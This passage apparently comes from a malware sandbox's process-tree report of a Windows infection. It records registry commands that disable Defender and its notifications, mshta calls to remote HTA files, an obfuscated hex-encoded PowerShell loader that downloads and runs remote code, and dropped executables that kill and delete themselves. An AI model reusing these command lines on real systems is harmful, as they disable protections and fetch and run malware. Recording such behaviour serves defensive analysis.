        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:4692
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControlEnabled" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:6848
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:2084
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
        5⤵
        
        PID:7480
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx" /s /k /f "SecHealthUI" | find /i "SecHealthUI"
        5⤵
        
        PID:7716
      - C:\Windows\system32\reg.exe
        
        reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx" /s /k /f "SecHealthUI"
        6⤵
        
        PID:8032
      - C:\Windows\system32\find.exe
        
        find /i "SecHealthUI"
        6⤵
        
        PID:8056
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\InboxApplications\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral_neutral_cw5n1h2txyewy" /f
        5⤵
        
        PID:7636
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\S-1-5-21-1594587808-2047097707-2163810515-1000\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral_neutral_cw5n1h2txyewy" /f
        5⤵
        
        PID:8128
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v SettingsPageVisibility
        5⤵
        
        PID:8188
      - C:\Windows\system32\reg.exe
        
        reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v SettingsPageVisibility
        6⤵
        
        PID:2260
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "SettingsPageVisibility" /t REG_SZ /d "hide:windowsdefender;" /f
        5⤵
        
        PID:5552
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.Defender.SecurityCenter" /v "Enabled" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:6124
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v "Enabled" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:8712
- - C:\Users\Admin\AppData\Local\Temp\0715Iuq9.com
    "C:\Users\Admin\AppData\Local\Temp\0715Iuq9.com"
    3⤵
    PID:6624
  - - C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" https://ia601408.us.archive.org/23/items/fix.hta-ert/FIX.hta_ert.txt
      4⤵
      PID:7400
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $TRUMP ='https://ia601409XXXusXXXarchiveXXXorg/7/items/fixmix_fix_4348843584358435/fixmix_fix_4348843584358435XXXtxt'.Replace('XXX','.');$Shib='24=42=20=3d=27=45=54=48=20=43=4f=49=4e=74=2e=57=54=46=20=43=4f=49=4e=6c=49=4f=53=4e=54=27=2e=52=65=70=6c=61=63=65=28=27=45=54=48=20=43=4f=49=4e=27=2c=27=6e=45=27=29=2e=52=65=70=6c=61=63=65=28=27=54=46=20=43=4f=49=4e=27=2c=27=45=62=43=27=29=2e=52=65=70=6c=61=63=65=28=27=4f=53=27=2c=27=65=27=29=3b=24=43=43=20=3d=20=27=44=4f=53=20=43=4f=49=4e=20=4c=53=4f=53=43=4f=49=4e=6e=47=27=2e=52=65=70=6c=61=63=65=28=27=53=20=43=4f=49=4e=20=27=2c=27=57=6e=27=29=2e=52=65=70=6c=61=63=65=28=27=53=4f=27=2c=27=6f=61=44=27=29=2e=52=65=70=6c=61=63=65=28=27=43=4f=49=4e=27=2c=27=54=72=49=27=29=3b=24=41=20=3d=27=49=60=45=6f=73=20=43=4f=49=4e=60=57=60=42=54=43=20=43=4f=49=4e=6a=60=45=54=48=20=43=4f=49=4e=20=24=42=29=2e=24=43=43=28=24=54=52=55=4d=50=29=27=2e=52=65=70=6c=61=63=65=28=27=6f=73=20=43=4f=49=4e=27=2c=27=58=28=6e=60=65=27=29=2e=52=65=70=6c=61=63=65=28=27=42=54=43=20=43=4f=49=4e=27=2c=27=2d=4f=62=27=29=2e=52=65=70=6c=61=63=65=28=27=54=48=20=43=4f=49=4e=27=2c=27=60=63=60=54=27=29=3b=26=28=27=49=27=2b=27=45=58=27=29=28=24=41=20=2d=4a=6f=69=6e=20=27=27=29=7c=26=28=27=49=27=2b=27=45=58=27=29=3b';Invoke-Expression (-join ($Shib -split '=' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
        5⤵
        
        PID:10100
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
        6⤵
        
        PID:23880
- - C:\Users\Admin\AppData\Local\Temp\vYXzTE0A.com
    "C:\Users\Admin\AppData\Local\Temp\vYXzTE0A.com"
    3⤵
    PID:7092
  - - C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" https://kmsauto.us/1/FIX.hta
      4⤵
      PID:4504
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $TRUMP ='https://kmsautoXXXus/1/fixXXXtxt'.Replace('XXX','.');$Shib='24=42=20=3d=27=45=54=48=20=43=4f=49=4e=74=2e=57=54=46=20=43=4f=49=4e=6c=49=4f=53=4e=54=27=2e=52=65=70=6c=61=63=65=28=27=45=54=48=20=43=4f=49=4e=27=2c=27=6e=45=27=29=2e=52=65=70=6c=61=63=65=28=27=54=46=20=43=4f=49=4e=27=2c=27=45=62=43=27=29=2e=52=65=70=6c=61=63=65=28=27=4f=53=27=2c=27=65=27=29=3b=24=43=43=20=3d=20=27=44=4f=53=20=43=4f=49=4e=20=4c=53=4f=53=43=4f=49=4e=6e=47=27=2e=52=65=70=6c=61=63=65=28=27=53=20=43=4f=49=4e=20=27=2c=27=57=6e=27=29=2e=52=65=70=6c=61=63=65=28=27=53=4f=27=2c=27=6f=61=44=27=29=2e=52=65=70=6c=61=63=65=28=27=43=4f=49=4e=27=2c=27=54=72=49=27=29=3b=24=41=20=3d=27=49=60=45=6f=73=20=43=4f=49=4e=60=57=60=42=54=43=20=43=4f=49=4e=6a=60=45=54=48=20=43=4f=49=4e=20=24=42=29=2e=24=43=43=28=24=54=52=55=4d=50=29=27=2e=52=65=70=6c=61=63=65=28=27=6f=73=20=43=4f=49=4e=27=2c=27=58=28=6e=60=65=27=29=2e=52=65=70=6c=61=63=65=28=27=42=54=43=20=43=4f=49=4e=27=2c=27=2d=4f=62=27=29=2e=52=65=70=6c=61=63=65=28=27=54=48=20=43=4f=49=4e=27=2c=27=60=63=60=54=27=29=3b=26=28=27=49=27=2b=27=45=58=27=29=28=24=41=20=2d=4a=6f=69=6e=20=27=27=29=7c=26=28=27=49=27=2b=27=45=58=27=29=3b';Invoke-Expression (-join ($Shib -split '=' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
        5⤵
        
        PID:10044
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
        6⤵
        
        PID:23280
- C:\Users\Admin\Documents\4mYOHhbTeq9LeAqOQ_FXsl7m.exe
  "C:\Users\Admin\Documents\4mYOHhbTeq9LeAqOQ_FXsl7m.exe"
  2⤵
  - Executes dropped EXE
  PID:2788
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im 4mYOHhbTeq9LeAqOQ_FXsl7m.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\4mYOHhbTeq9LeAqOQ_FXsl7m.exe" & del C:\ProgramData\*.dll & exit
    3⤵
    PID:7592
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im 4mYOHhbTeq9LeAqOQ_FXsl7m.exe /f
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Kills process with taskkill
      Suspicious use of FindShellTrayWindow
      PID:4824
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 6
      4⤵
      Delays execution with timeout.exe
      PID:10352
- C:\Users\Admin\Documents\9uNjSrcuSBRiN_7WMzqwTNAj.exe
  "C:\Users\Admin\Documents\9uNjSrcuSBRiN_7WMzqwTNAj.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:2792
- C:\Users\Admin\Documents\kV4aJ04VbXW0xR08DaCGOppt.exe
  "C:\Users\Admin\Documents\kV4aJ04VbXW0xR08DaCGOppt.exe"
  2⤵
  - Executes dropped EXE
  PID:2096
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2096 -s 820
    3⤵
    - Program crash
    PID:5004
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2096 -s 764
    3⤵
    - Program crash
    PID:5620
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2096 -s 840
    3⤵
    - Program crash
    PID:5816
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2096 -s 808
    3⤵
    - Program crash
    PID:2040
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2096 -s 1096
    3⤵
    - Program crash
    PID:4572
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2096 -s 1136
    3⤵
    - Program crash
    PID:6832
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2096 -s 1368
    3⤵
    - Program crash
    PID:8108
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\4220908666.exe"
    3⤵
    PID:8048
  - - C:\Users\Admin\AppData\Local\Temp\4220908666.exe
      "C:\Users\Admin\AppData\Local\Temp\4220908666.exe"
      4⤵
      PID:4860
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2096 -s 1776
    3⤵
    - Program crash
    PID:6472
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2096 -s 1808
    3⤵
    - Program crash
    PID:2260
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2096 -s 1780
    3⤵
    - Program crash
    PID:2400
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\1306352068.exe"
    3⤵
    PID:10168
  - - C:\Users\Admin\AppData\Local\Temp\1306352068.exe
      "C:\Users\Admin\AppData\Local\Temp\1306352068.exe"
      4⤵
      PID:9812
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im "kV4aJ04VbXW0xR08DaCGOppt.exe" /f & erase "C:\Users\Admin\Documents\kV4aJ04VbXW0xR08DaCGOppt.exe" & exit
    3⤵
    PID:4180
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im "kV4aJ04VbXW0xR08DaCGOppt.exe" /f
      4⤵
      Kills process with taskkill
      PID:8564
- C:\Users\Admin\Documents\uA0C0m0URmLH95N0gzhHax_5.exe
  "C:\Users\Admin\Documents\uA0C0m0URmLH95N0gzhHax_5.exe"
  2⤵
  - Executes dropped EXE
  PID:2568
- C:\Users\Admin\Documents\JHcCts27WgCRtLfxetdS9Wsf.exe
  "C:\Users\Admin\Documents\JHcCts27WgCRtLfxetdS9Wsf.exe"
  2⤵
  - Executes dropped EXE
  PID:2576
- C:\Users\Admin\Documents\A3wXbujG9oPfGbM6BL9UtgfC.exe
  "C:\Users\Admin\Documents\A3wXbujG9oPfGbM6BL9UtgfC.exe"
  2⤵
  - Executes dropped EXE
  PID:2504
- C:\Users\Admin\Documents\so_bdt6KonblLwK_kqkkT_py.exe
  "C:\Users\Admin\Documents\so_bdt6KonblLwK_kqkkT_py.exe"
  2⤵
  - Executes dropped EXE
  PID:4064
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4064 -s 656
    3⤵
    - Program crash
    PID:5500
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4064 -s 660
    3⤵
    - Program crash
    PID:6060
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4064 -s 676
    3⤵
    - Program crash
    PID:4568
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4064 -s 652
    3⤵
    - Program crash
    PID:4264
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4064 -s 888
    3⤵
    - Program crash
    PID:7108
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4064 -s 1132
    3⤵
    - Program crash
    PID:6860
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4064 -s 1164
    3⤵
    - Program crash
    PID:6964
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4064 -s 1124
    3⤵
    - Program crash
    PID:6376
- C:\Users\Admin\Documents\e3UtiDCdpqO4I1vqP4WeA7F5.exe
  "C:\Users\Admin\Documents\e3UtiDCdpqO4I1vqP4WeA7F5.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1908
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe"
    3⤵
    PID:3584
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe"
      4⤵
      PID:4268
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    PID:7892
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xc8,0xcc,0xd0,0xa4,0xd4,0x7ffd925c4f50,0x7ffd925c4f60,0x7ffd925c4f70
      4⤵
      PID:9756
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1584,7552490608391505480,10075201542987662487,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1596 /prefetch:2
      4⤵
      PID:10896
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1584,7552490608391505480,10075201542987662487,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1672 /prefetch:8
      4⤵
      PID:10928
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1584,7552490608391505480,10075201542987662487,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2180 /prefetch:8
      4⤵
      PID:11032
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,7552490608391505480,10075201542987662487,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2608 /prefetch:1
      4⤵
      PID:8580
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,7552490608391505480,10075201542987662487,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2624 /prefetch:1
      4⤵
      PID:884
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,7552490608391505480,10075201542987662487,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3392 /prefetch:1
      4⤵
      PID:2324
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,7552490608391505480,10075201542987662487,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3600 /prefetch:1
      4⤵
      PID:10544
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,7552490608391505480,10075201542987662487,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3592 /prefetch:1
      4⤵
      PID:9688
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,7552490608391505480,10075201542987662487,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3700 /prefetch:1
      4⤵
      PID:3024
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1584,7552490608391505480,10075201542987662487,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4260 /prefetch:8
      4⤵
      PID:11728
  - - C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe
      "C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --channel --force-configure-user-settings
      4⤵
      PID:3868
    - - C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe
        
        "C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x23c,0x240,0x244,0x204,0x248,0x7ff7e96da890,0x7ff7e96da8a0,0x7ff7e96da8b0
        5⤵
        
        PID:11772
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1584,7552490608391505480,10075201542987662487,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5100 /prefetch:8
      4⤵
      PID:10892
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1584,7552490608391505480,10075201542987662487,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5624 /prefetch:8
      4⤵
      PID:11936
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,7552490608391505480,10075201542987662487,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4900 /prefetch:8
      4⤵
      PID:11780
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1584,7552490608391505480,10075201542987662487,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=3680 /prefetch:2
      4⤵
      PID:13568
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C taskkill /F /PID 1908 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\e3UtiDCdpqO4I1vqP4WeA7F5.exe"
    3⤵
    PID:6164
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /PID 1908
      4⤵
      Kills process with taskkill
      PID:7380
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C taskkill /F /PID 1908 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\e3UtiDCdpqO4I1vqP4WeA7F5.exe"
    3⤵
    PID:8128
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /PID 1908
      4⤵
      Kills process with taskkill
      PID:4212
- C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
  "C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:4976
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:1828
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:576
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:5204
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:1364
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:4352
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    - Executes dropped EXE
    PID:4768
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:5368
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:6048
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:2976
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:5632
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:6000
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:1320
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:6020
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:3836
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:4544
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:6792
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:6368
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:7128
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:6556
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:6908
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:4748
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:5880
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:5472
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:7416
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:7764
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:8132
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:5396
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:8176
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:6952
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
